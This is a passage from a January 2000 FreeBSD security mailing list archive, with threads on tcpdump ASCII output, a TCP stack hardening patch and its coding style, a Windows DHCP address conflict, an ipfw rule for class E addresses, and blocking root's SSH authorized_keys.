From: Lyndon Nerenberg Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>>>> "Michael" == Michael Robinson writes: Michael> Archie Cobbs writes: >> So.. how do you get tcpdump to spit forth ascii? Michael> This works for me: Or using ports instead of patches: tcpdump -s 1518 -lenx|tcpshow -cooked To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 22: 6: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id DD6DD14A04; Tue, 25 Jan 2000 22:06:02 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA10216; Tue, 25 Jan 2000 22:05:44 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id WAA77519; Tue, 25 Jan 2000 22:05:44 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA28922; Tue, 25 Jan 2000 22:05:43 -0800 (PST) From: Don Lewis Message-Id: <200001260605.WAA28922@salsa.gv.tsc.tdk.com> Date: Tue, 25 Jan 2000 22:05:43 -0800 In-Reply-To: <4.2.2.20000125113518.01a59100@localhost> References: <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> <4.2.2.20000125113518.01a59100@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Matthew Dillon Subject: Re: Merged patches Cc: security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Followups to -net only, please. On Jan 25, 11:52am, Brett Glass wrote: } Subject: Re: Merged patches } Switches also make the code more readable and make it easy to handle } every case. Some of the problems we're seeing in this code have been caused } by failure to account for some combinations of the TCP option flags. The best } way to ensure code correctness -- now and for the long term -- is to use } a construct that makes it easy to be sure you cover all the bases! It's } not only good style; it's good insurance. A switch based on the TCP flags would be a very unnatural implementation. For instance, most of the processing done on a packet received on an established connection is the same whether the FIN bit is set or not. If the switch expression was based on the flags, then a large part of the code would be duplicated between these two cases. Also, the code may do some processing on the segment, clear the SYN and/or FIN bits, and then continue. A implementation that used a switch based on the socket state would be somewhat more natural, but this is still not an exact fit. As a matter of fact, if you look at the implemention, this is pretty much what a lot of it does. switch (tp->t_state) { case TCPS_LISTEN: { ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 22:38:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8A86014D61; Tue, 25 Jan 2000 22:38:21 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA18453; Tue, 25 Jan 2000 23:38:11 -0700 (MST) Message-Id: <4.2.2.20000125232750.04074b50@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 23:38:09 -0700 To: Don Lewis , Matthew Dillon From: Brett Glass Subject: Re: Merged patches Cc: security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG In-Reply-To: <200001260605.WAA28922@salsa.gv.tsc.tdk.com> References: <4.2.2.20000125113518.01a59100@localhost> <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> <4.2.2.20000125113518.01a59100@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:05 PM 1/25/2000 , Don Lewis wrote: >A switch based on the TCP flags would be a very unnatural implementation. >For instance, most of the processing done on a packet received on an >established connection is the same whether the FIN bit is set or not. A switch statement can allow the same group of statements to be executed for more than one combination of the flags. >If the switch expression was based on the flags, then a large part of >the code would be duplicated between these two cases. It is also possible to "fall through" from one case to another. This makes the switch statement a very powerful tool for this sort of situation. It is also possible to call a common subroutine. The overhead of a fixed subroutine call is often less than that of a conditional branch on today's CPUs. > Also, the code >may do some processing on the segment, clear the SYN and/or FIN bits, >and then continue. I'd think it would be unusual -- perhaps bad form -- to alter the flags, as it would make the code harder to follow. In what situation(s) would you do this? In any event, one cannot always subsume ALL of the conditional jumps in a routine into a single switch. But one usually CAN reduce the number greatly. Matt seems skeptical, and I am sure that no one will want to change the code much before the freeze. But I'd like to take a shot at rewriting the code, using some switches instead of if statements, after the freeze. I think that it will have several major benefits: it'll make the code faster; it'll make it easier to read; and it will make it glaringly obvious if a case that should be considered has been missed. >A implementation that used a switch based on the socket state would >be somewhat more natural, but this is still not an exact fit. As >a matter of fact, if you look at the implemention, this is pretty >much what a lot of it does. > > switch (tp->t_state) { > case TCPS_LISTEN: { > ... Yes, it is true that switching on the socket state would be handy. The real power of the switch statement, however, shows when it is used to consider combinations of flags in parallel, as with the TCP option flags. Again, I see some skepticism here about whether it will really make the code faster or more readable, so as soon as 4.0 is frozen I'll generate some code that shows what I have in mind. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 22:44:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 7156E15089; Tue, 25 Jan 2000 22:44:12 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA10511; Tue, 25 Jan 2000 22:44:07 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id WAA77644; Tue, 25 Jan 2000 22:44:06 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA28985; Tue, 25 Jan 2000 22:44:06 -0800 (PST) From: Don Lewis Message-Id: <200001260644.WAA28985@salsa.gv.tsc.tdk.com> Date: Tue, 25 Jan 2000 22:44:06 -0800 In-Reply-To: <4.2.2.20000125095042.01a5aba0@localhost> References: <4.2.2.20000125095042.01a5aba0@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Warner Losh , security@FreeBSD.ORG Subject: Re: Merged patches Cc: freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 25, 10:09am, Brett Glass wrote: } Subject: Re: Merged patches } This is a very, VERY concervative patch. As such, it } doesn't include rate limiting of RSTs independently of } ICMP_BANDLIM (which is really a different beast -- on } a router, you might NOT want to limit ICMP but want to } limit bandwidth). A router probably does want to limit ICMP. } The patch also does not prevent a } non-SYN packet from matching a listening socket (this } condition is caught later, but piecemeal with many } individual tests; the coverage isn't comprehensive). A better (more efficient and less convoluted) fix that the one I posted in my patch would be to unroll the findpcb loop, but that change is non-trivial and would not be appropriate to make at this time. Even without this particular fix the patch successfully limits the bandwidth consumed by RST responses when the host is under attack. } And it does not shield the entire TCP stack from } sending or receiving multicast packets -- just this } path. It's still possible to emit a TCP packet with } a multicast source or destination address after } this patch. How? The only responses that can be generated are RST packets and ACK packets. We check the problematical addresses before generating RST packets, and ACK packets are sent to the other endpoint of an "established" connection. If we prevent the creation of an established connection where the other endpoint has a bogus address, then we don't have to worry about sending an ACK to any bogus addresses. I don't see how it would be possible to generate a response with a multicast source address, since the source address has to be one of the IP addresses on the local host. } The source addresses of packets are still } tested to see if they're muticast addresses in MANY } places instead of in one place.... It seems to } me that it pays to use a flag in the mbuf (as is } done with B_CAST) to centralize the test. (A new } flag called, say, SRC_B_CAST would do this. There's } room in the flag word.) That would require doing this test on each incoming packet. I would imagine that most of the packets received by ftp.cdrom.com are normal TCP packets. Doing extra sanity tests on these packets would consume CPU cycles that it could be using for other things such as doing filesystem I/O. "Optimizing" the network stack so that it drops multicast-source packets earlier to save CPU cycles when ftp.cdrom.com is under attack and has its network interface saturated with multicast-source packets is pointless because there will be plenty of CPU cycles to spare because no file transfer requests will be getting through so there won't be any filesystem I/O to do. I believe that setting an mbuf flag for multicast-source packets would be the wrong thing to do anyway, since packets with multicast-source addresses are bogus. The only thing you want to do with these packets is to drop them. } Also, in at least one place (maybe more), the code does } multiple tests of the TCP option flags in succession. } Several tests of this kind should generally be merged } into a switch for speed (the many conditional jumps } cause pipeline stalls on many processors, especially } older ones) and readability. if (thflags & TH_RST) goto drop; if (thflags & TH_ACK) goto dropwithreset; if ((thflags & TH_SYN) == 0) goto drop; vs switch (thflags & (TH_RST|TH_ACK|TH_SYN)) { case TH_RST: case TH_RST|TH_ACK: case TH_RST|TH_SYN: case TH_RST|TH_ACK|TH_SYN: goto drop; case TH_ACK: case TH_ACK|TH_SYN: goto dropwithreset; case TH_SYN: break; case 0: goto drop; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 22:44:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id AAA311524B for ; Tue, 25 Jan 2000 22:44:41 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA18501; Tue, 25 Jan 2000 23:44:31 -0700 (MST) Message-Id: <4.2.2.20000125234009.0404f860@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 23:44:30 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Merged patches Cc: Warner Losh , security@FreeBSD.ORG In-Reply-To: <200001260518.VAA08275@apollo.backplane.com> References: <4.2.2.20000125133808.019fd6a0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:18 PM 1/25/2000 , Matthew Dillon wrote: > No. There is a time and place for the use of a switch statement to > cover all your bases, but a *flags* field is *NOT* it. Before you assert this so emphatically, allow me to demonstrate. Again, once 4.0 is frozen, I intend to generate some patches which show what I have in mind. > Making these sorts of changes to perfectly good, working, and well > tested code is a great way to screw up said code. One can argue this about any refinement to the code -- including optimizations and changes that improve readability. I think that the code SHOULD evolve, and adding constructs which make it more readable, more efficient, easier to follow, and less susceptible to bugs is very productive. Your mileage may vary, of course. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 0:24: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from keep.scn.ru (keep.scn.ru [195.151.16.41]) by hub.freebsd.org (Postfix) with ESMTP id A716015163; Wed, 26 Jan 2000 00:23:39 -0800 (PST) (envelope-from alx@scn.ru) Received: from scn.ru (alx.scnet.ru [195.239.174.13]) by keep.scn.ru (8.9.3/8.9.3) with ESMTP id PAA06071; Wed, 26 Jan 2000 15:23:24 +0700 (KRAT) Message-ID: <388EAF63.8564A351@scn.ru> Date: Wed, 26 Jan 2000 15:25:07 +0700 From: "Alex N. Zhuravlev" Organization: SCT X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: ru,en MIME-Version: 1.0 To: freebsd-questions@freebsd.org, freebsd-security@freebsd.org Subject: MS Win IP assigning Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi all ! Please help who knows how ... The problem is that Win machine with misconfigured IP stack with "automatic assign IP address" steals my server IP address. Why and how can this be ? Answer directly please. Alex N. Zhuravlev To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 1: 3:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from keep.scn.ru (keep.scn.ru [195.151.16.41]) by hub.freebsd.org (Postfix) with ESMTP id CD7F114CFD; Wed, 26 Jan 2000 01:03:04 -0800 (PST) (envelope-from alx@scn.ru) Received: from scn.ru (alx.scnet.ru [195.239.174.13]) by keep.scn.ru (8.9.3/8.9.3) with ESMTP id QAA07608; Wed, 26 Jan 2000 16:01:35 +0700 (KRAT) Message-ID: <388EB856.5AE6ED8A@scn.ru> Date: Wed, 26 Jan 2000 16:03:18 +0700 From: "Alex N. Zhuravlev" Organization: SCT X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: ru,en MIME-Version: 1.0 To: Olaf Hoyer , freebsd-questions@freebsd.org, freebsd-security@freebsd.org Subject: MS Win IP assigning 2 References: <4.1.20000126093157.009b07d0@mail.rz.fh-wilhelmshaven.de> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks all , but I don't have any DHCP server at all ... And no static IP at Win machine. Any ideas ? >Hi all ! >Please help who knows how ... >The problem is that Win machine with misconfigured IP stack with >"automatic assign IP address" steals my server IP address. Why and how >can this be ? > > Hi! > > There are two possibilities: > > 1) the user has assigned a static IP in network configuration. Therefore > they collide. > > 2) The Win95 machine uses DHCP, and the DHCP server also assigns IP > adresses already in use by the server. > This may come by the matter that the DHCP does not recognize that a certain > IP is assigned statically on the network, and therefore thinking its still > free. Check DHCP IP tables and mask the IP in question. > > Regards > Olaf Hoyer > -------- > Olaf Hoyer www.nightfire.de mailto:Olaf.Hoyer@nightfire.de > FreeBSD- The power to serve ICQ:22838075 > > Liebe und Hass sind nicht blind, aber geblendet vom Feuer, > dass sie selber mit sich tragen. (Nietzsche) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 2:29: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from keep.scn.ru (keep.scn.ru [195.151.16.41]) by hub.freebsd.org (Postfix) with ESMTP id 4449215136; Wed, 26 Jan 2000 02:28:47 -0800 (PST) (envelope-from alx@scn.ru) Received: from scn.ru (alx.scnet.ru [195.239.174.13]) by keep.scn.ru (8.9.3/8.9.3) with ESMTP id RAA10866; Wed, 26 Jan 2000 17:27:31 +0700 (KRAT) Message-ID: <388ECC7A.CFBEC70E@scn.ru> Date: Wed, 26 Jan 2000 17:29:14 +0700 From: "Alex N. Zhuravlev" Organization: SCT X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: ru,en MIME-Version: 1.0 To: Olaf Hoyer , freebsd-security@freebsd.org, freebsd-questions@freebsd.org Subject: MS Win IP assigning 3 References: <4.1.20000126093157.009b07d0@mail.rz.fh-wilhelmshaven.de> <4.1.20000126101440.00c14150@mail.rz.fh-wilhelmshaven.de> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >>Hi all ! > >>Please help who knows how ... > >>The problem is that Win machine with misconfigured IP stack with > >>"automatic assign IP address" steals my server IP address. Why and how > >>can this be ? > >> > >Thanks all , but I don't have any DHCP server at all ... > >And no static IP at Win machine. > >Any ideas ? > > Well, have a look at Start->system->network > If you look then at the TCP/IP properties, there is also an entry for the > IP-configuration. > > There should be exactly two entries: > top entry: Assign IP adress automatically > bottom entry with two fields to fill out: IP adress and subnet mask > > If you refer to the top entry, that is the entry where Win95 looks for a > DHCP server, to get an IP from. If there is no DHCP server, then you _have_ > to get an error message, that no IP could be assigned. Yes, I've got an error message. But address was assinged again !!!! > To make sure, run the utility winipcfg.exe (in c:\windows), expand the > display, and then have a look at the field: DHCP server. If there is an > entry, this will mean that by some accident, wrong subnet routing etc. this > Win95 box got an IP from somewhere. It was an broadcast address as DHCP server - 0.0.0.0 I can assign IP manulay, but someone can do vice-a-verca ... Any more ideas ? Alex N. Zhuravlev To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 3:14:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 94CA0151DE for ; Wed, 26 Jan 2000 03:14:54 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id DAA74269; Wed, 26 Jan 2000 03:14:38 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001261114.DAA74269@gndrsh.dnsmgr.net> Subject: Re: Merged patches In-Reply-To: <200001260011.QAA28012@salsa.gv.tsc.tdk.com> from Don Lewis at "Jan 25, 2000 04:11:39 pm" To: Don.Lewis@tsc.tdk.com (Don Lewis) Date: Wed, 26 Jan 2000 03:14:38 -0800 (PST) Cc: dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Jan 25, 11:34am, "Rodney W. Grimes" wrote: > } Subject: Re: Merged patches > } > I found a bug in the patch: > } > > } > : #endif > } > :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) > } > :- goto drop; > } > :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || > } > :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || > } > :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) > } > } And yet another bugger.... you just made it impossible for anyone > } doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD > } using TCP without hacking the kernel code. Please remove the > } last check here. > > How about changing the last part to to > ip->ip_src.s_addr == htonl(INADDR_BROADCAST) > which is the subset of IN_EXPERIMENTAL that I was concerned about. > > Without this, someone will post yet another variant of this attack > using a broadcast source address. The short and simple answer: ipfw add deny ip from 240.0.0.0/4 to any The longer answer: Manning is not very clear on Class E space, Technically 255.255.255.255 is a class E address, and is part of ``a range left unspecified''. Putting your patch above in would be ``specifing'' a behavior. But yet Manning later says: Note: No addresses are allowed with the four highest-order bits set to 1-1-1-1. These addresses, called "classE", are reserved. Reserved means we should not be putting in hard code that effects how they behave, IMNSO. Your going to have to do the short and simple answer covers to cover the other parts of this space anyway, so you might as well only do it one place and not create what may be a headache for someone else. Also don't some strange clients like DHCP use this as a source address during their startup phase? -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 9:14:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id E519B14E9C; Wed, 26 Jan 2000 09:14:17 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id JAA16404; Wed, 26 Jan 2000 09:13:36 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id JAA14030; Wed, 26 Jan 2000 09:13:36 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id JAA01615; Wed, 26 Jan 2000 09:13:33 -0800 (PST) Message-ID: <388F2C60.1E045043@softweyr.com> Date: Wed, 26 Jan 2000 10:18:24 -0700 From: Wes Peters Reply-To: freebsd-questions@freebsd.org Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Alex N. Zhuravlev" Cc: freebsd-questions@freebsd.org, freebsd-security@freebsd.org Subject: Re: MS Win IP assigning References: <388EAF63.8564A351@scn.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Alex N. Zhuravlev" wrote: > > Hi all ! > Please help who knows how ... > The problem is that Win machine with misconfigured IP stack with > "automatic assign IP address" steals my server IP address. Why and how > can this be ? First, there is no question in the world that should be cross-posted to both FreeBSD-Questions and FreeBSD-Security. I've directed replies to the questions mailing list to keep this from spreading. Second, if the win machine is configured to "automatically assign IP address", it's getting that address from a DHCP server and you've stolen one of the addresses doled out by the DHCP server. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 9:23:12 2000 Delivered-To: freebsd-security@freebsd.org Received: from funky.monkey.org (funky.monkey.org [63.77.239.13]) by hub.freebsd.org (Postfix) with ESMTP id 007F115354 for ; Wed, 26 Jan 2000 09:23:07 -0800 (PST) (envelope-from dugsong@monkey.org) Received: by funky.monkey.org (Postfix, from userid 1001) id 3168215191; Wed, 26 Jan 2000 12:23:02 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by funky.monkey.org (Postfix) with ESMTP id 16B3114A01; Wed, 26 Jan 2000 12:23:01 -0500 (EST) Date: Wed, 26 Jan 2000 12:23:01 -0500 (EST) From: Dug Song To: Archie Cobbs Cc: Stuart Henderson , Michael Robinson , freebsd-security@FreeBSD.ORG Subject: Re: tcpdump In-Reply-To: <200001252153.NAA66515@bubba.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 25 Jan 2000, Archie Cobbs wrote: > So.. how do you get tcpdump to spit forth ascii? see default_print_hexl() in OpenBSD's /usr/src/usr.sbin/tcpdump/tcpdump.c -X Like -x but dumps the packet in emacs-hexl like format. -d. --- http://www.monkey.org/~dugsong/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 11:19:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from security1.noc.flyingcroc.net (security1.noc.flyingcroc.net [207.246.128.54]) by hub.freebsd.org (Postfix) with ESMTP id 5DAA2151E2 for ; Wed, 26 Jan 2000 11:19:18 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by security1.noc.flyingcroc.net (8.9.3/8.9.3) with ESMTP id LAA60632 for ; Wed, 26 Jan 2000 11:18:53 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: security1.noc.flyingcroc.net: todd owned process doing -bs Date: Wed, 26 Jan 2000 11:18:53 -0800 (PST) From: Todd Backman X-Sender: todd@security1.noc.flyingcroc.net To: security@freebsd.org Subject: root authorized_keys ignore? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greetings. I have checked the man pages for both ssh and sshd as well as cheking the archives and cannot answer this question: Is there any way to get sshd to ignore root's authorized_keys? (disallow the practice of putting the private key on another sever to allow for passwordless entry) I would still like to allow this on our servers for non-root accts but *DO NOT* want to allow it for root... Any hits with the clue bat? Thanks. - Todd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 11:33:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 480CE14CFA for ; Wed, 26 Jan 2000 11:33:33 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id MAA25118; Wed, 26 Jan 2000 12:31:38 -0700 (MST) Message-Id: <4.2.2.20000126103426.03d34520@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 26 Jan 2000 10:35:47 -0700 To: "Rodney W. Grimes" , Don.Lewis@tsc.tdk.com (Don Lewis) From: Brett Glass Subject: Re: Merged patches Cc: dillon@apollo.backplane.com (Matthew Dillon), imp@village.org (Warner Losh), security@FreeBSD.ORG In-Reply-To: <200001261114.DAA74269@gndrsh.dnsmgr.net> References: <200001260011.QAA28012@salsa.gv.tsc.tdk.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:14 AM 1/26/2000 , Rodney W. Grimes wrote: >The short and simple answer: >ipfw add deny ip from 240.0.0.0/4 to any > >The longer answer: >Manning is not very clear on Class E space, Technically 255.255.255.255 >is a class E address, and is part of ``a range left unspecified''. Putting >your patch above in would be ``specifing'' a behavior. But yet Manning >later says: > > Note: No addresses are allowed with the four highest-order bits > set to 1-1-1-1. These addresses, called "classE", are reserved. > >Reserved means we should not be putting in hard code that effects how >they behave, IMNSO. > >Your going to have to do the short and simple answer covers to cover >the other parts of this space anyway, so you might as well only do it >one place and not create what may be a headache for someone else. How about making it a sysctl/rc.conf variable? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 11:34:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id CAEEC14BC8 for ; Wed, 26 Jan 2000 11:34:53 -0800 (PST) (envelope-from unfurl@magnesium.net) Received: (qmail 61558 invoked by uid 1001); 26 Jan 2000 19:34:52 -0000 Date: 26 Jan 2000 11:34:52 -0800 Date: Wed, 26 Jan 2000 11:34:52 -0800 From: Bill Swingle To: Todd Backman Cc: security@freebsd.org Subject: Re: root authorized_keys ignore? Message-ID: <20000126113452.A61475@dub.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Do you wantto disallow root logins altogether or just the use of authorized_keys? -Bill On Wed, Jan 26, 2000 at 11:18:53AM -0800, Todd Backman wrote: > > Greetings. > > I have checked the man pages for both ssh and sshd as well as cheking the > archives and cannot answer this question: > > Is there any way to get sshd to ignore root's authorized_keys? (disallow > the practice of putting the private key on another sever to allow for > passwordless entry) > > I would still like to allow this on our servers for non-root accts but *DO > NOT* want to allow it for root... > > Any hits with the clue bat? > > Thanks. > > - Todd > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- -=| --- B i l l S w i n g l e --- http://www.dub.net/ -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com -=| Different all twisty a of in maze are you, passages little To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 11:37:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id 1838214C9B for ; Wed, 26 Jan 2000 11:37:44 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id NAA12204; Wed, 26 Jan 2000 13:37:44 -0600 (CST) (envelope-from brad) Date: Wed, 26 Jan 2000 13:37:44 -0600 From: Brad Guillory To: Todd Backman Cc: security@freebsd.org Subject: Re: root authorized_keys ignore? Message-ID: <20000126133744.D86303@baileylink.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from todd@flyingcroc.net on Wed, Jan 26, 2000 at 11:18:53AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Todd, I probably don't have the answer that you want but I figured that I would ramble on a bit: If this were a configurable option it would not gain you much. Anyone that would have root write permissions can change the configuration file. I would suggest that you make a ~root/.ssh directory and associated files and mark them and the directory all immutable. This would afford you just as much protection, even more so if you ran at secure level where root user can not change these flags. Hope that this stirs some thoughts, BMG On Wed, Jan 26, 2000 at 11:18:53AM -0800, Todd Backman wrote: > > Greetings. > > I have checked the man pages for both ssh and 